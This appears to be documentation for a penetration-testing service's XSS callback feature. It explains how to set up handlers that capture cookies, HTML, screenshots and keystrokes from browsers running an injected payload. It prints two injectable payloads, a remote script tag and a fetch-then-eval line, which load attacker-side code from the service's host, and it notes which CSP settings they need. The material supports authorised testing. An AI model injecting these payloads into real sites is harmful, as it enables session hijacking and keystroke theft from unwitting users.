> ## Documentation Index
> Fetch the complete documentation index at: https://pentest-tools.com/docs/llms.txt
> Use this file to discover all available pages before exploring further.

# XSS Exploiter

> Capture and analyze cross-site scripting payload executions

## Overview

XSS Exploiter provides callback endpoints that capture data when XSS payloads execute in victim browsers. Use it to validate XSS impact by collecting cookies, screenshots, keystrokes, and page content.

This feature is sometimes referred to as **XSS Handlers** in older documentation.

XSS Exploiter is an **exploit helper tool**: it receives callbacks from injected payloads to prove XSS exploitation. It does not add data to your [Attack Surface](/capabilities/attack-surface) and does not generate [findings](/core/findings/findings). Captured data is displayed in a custom report.

## How it works

<Steps>
  <Step title="Create a handler">
    Configure what data to capture and get a unique handler ID.
  </Step>

  <Step title="Generate payload">
    Pick a delivery method and copy the JavaScript payload.
  </Step>

  <Step title="Inject payload">
    Insert the payload into a vulnerable application.
  </Step>

  <Step title="Capture callbacks">
    When a victim's browser executes the payload, data is sent to your handler.
  </Step>

  <Step title="Review results">
    View captured data in the handler's report.
  </Step>
</Steps>

## Creating a handler

When creating a handler, configure what data to capture:

| Option                  | Description                                                                                                                           |
| ----------------------- | ------------------------------------------------------------------------------------------------------------------------------------- |
| **Label**               | Unique identifier for the handler (alphanumeric, dashes, underscores, dots)                                                           |
| **Get cookies**         | Capture `document.cookie` from the victim's browser                                                                                   |
| **Get HTML content**    | Capture the full HTML of the page where the payload executed                                                                          |
| **Get page screenshot** | Capture a visual screenshot of the page using html2canvas                                                                             |
| **Get keystrokes**      | Log keystrokes on the page after payload execution                                                                                    |
| **Delivery method**     | How the payload is loaded in the victim's page (script tag or fetch + eval). See [Payload format](#payload-format) for the trade-offs |

<Note>
  Enable only the options you need. Capturing screenshots increases payload size and may be blocked by some Content Security Policies.
</Note>

## Payload format

After creating a handler, you get a JavaScript payload to inject. Pick the one that fits your injection context.

### Script tag (default)

```html theme={null}
<script src='https://app.pentest-tools.com/xss-payload/YOUR_HANDLER_ID'></script>
```

Use this when the XSS injection lands before the page finishes loading. The browser loads and runs the payload as a normal external script.

This needs the target Content Security Policy to allow `script-src` from `app.pentest-tools.com` (e.g. `script-src *`).

### Fetch + eval

```javascript theme={null}
fetch("https://app.pentest-tools.com/xss-payload/YOUR_HANDLER_ID").then(function(r){return r.text()}).then(eval)
```

Use this when the XSS fires after page load, from an async handler or an event callback. The payload is fetched at runtime and evaluated, so it does not need a fresh script tag in the DOM.

This needs the target Content Security Policy to allow both:

* `connect-src` to `app.pentest-tools.com`, so `fetch()` can reach the endpoint (e.g. `connect-src *`)
* `script-src 'unsafe-eval'`, so the `eval` call can run the fetched code

The payload endpoint responds with `Access-Control-Allow-Origin: *`, so the fetch can read the body cross-origin.

## Captured data

For each callback received, the handler captures:

| Data                | Description                                            |
| ------------------- | ------------------------------------------------------ |
| **Cookies**         | Browser cookies accessible via JavaScript (if enabled) |
| **URL**             | The full URL where the payload executed                |
| **Page screenshot** | Visual capture of the page (if enabled)                |
| **Keystrokes**      | Keys typed after payload execution (if enabled)        |
| **User Agent**      | Victim's browser user agent string                     |
| **Timestamp**       | Date and time of the callback                          |
| **IP Address**      | Source IP of the callback request                      |

## Handler limits

| Limit                        | Value                 |
| ---------------------------- | --------------------- |
| **Active duration**          | 60 days from creation |
| **Data entries per handler** | 500 callbacks maximum |
| **Handlers per user**        | 300 maximum           |

<Note>
  Handlers automatically expire after 60 days. Create a new handler if you need to continue testing.
</Note>

<Warning>
  XSS Exploiter can capture real data from victim browsers. Handle captured cookies and session data responsibly and delete after testing concludes.
</Warning>

## Ethical considerations

* Only test applications you have authorization to assess
* Minimize data capture, collect only what's needed to prove the vulnerability
* Delete captured data after the engagement
* Do not use captured session tokens to access victim accounts beyond demonstration
* Report findings responsibly to the application owner

## Follow-up actions

After capturing XSS callbacks:

* **Document the finding**: Include captured data (sanitized) in your security report
* **Assess cookie scope**: Check if captured cookies grant access to sensitive functionality
* **Test other injection points**: Use [Website Scanner](/tools/website-scanner) to find additional XSS vulnerabilities
* **Check for stored XSS**: Verify if the payload persists and affects other users
* **Review CSP**: Analyze Content Security Policy headers that could mitigate XSS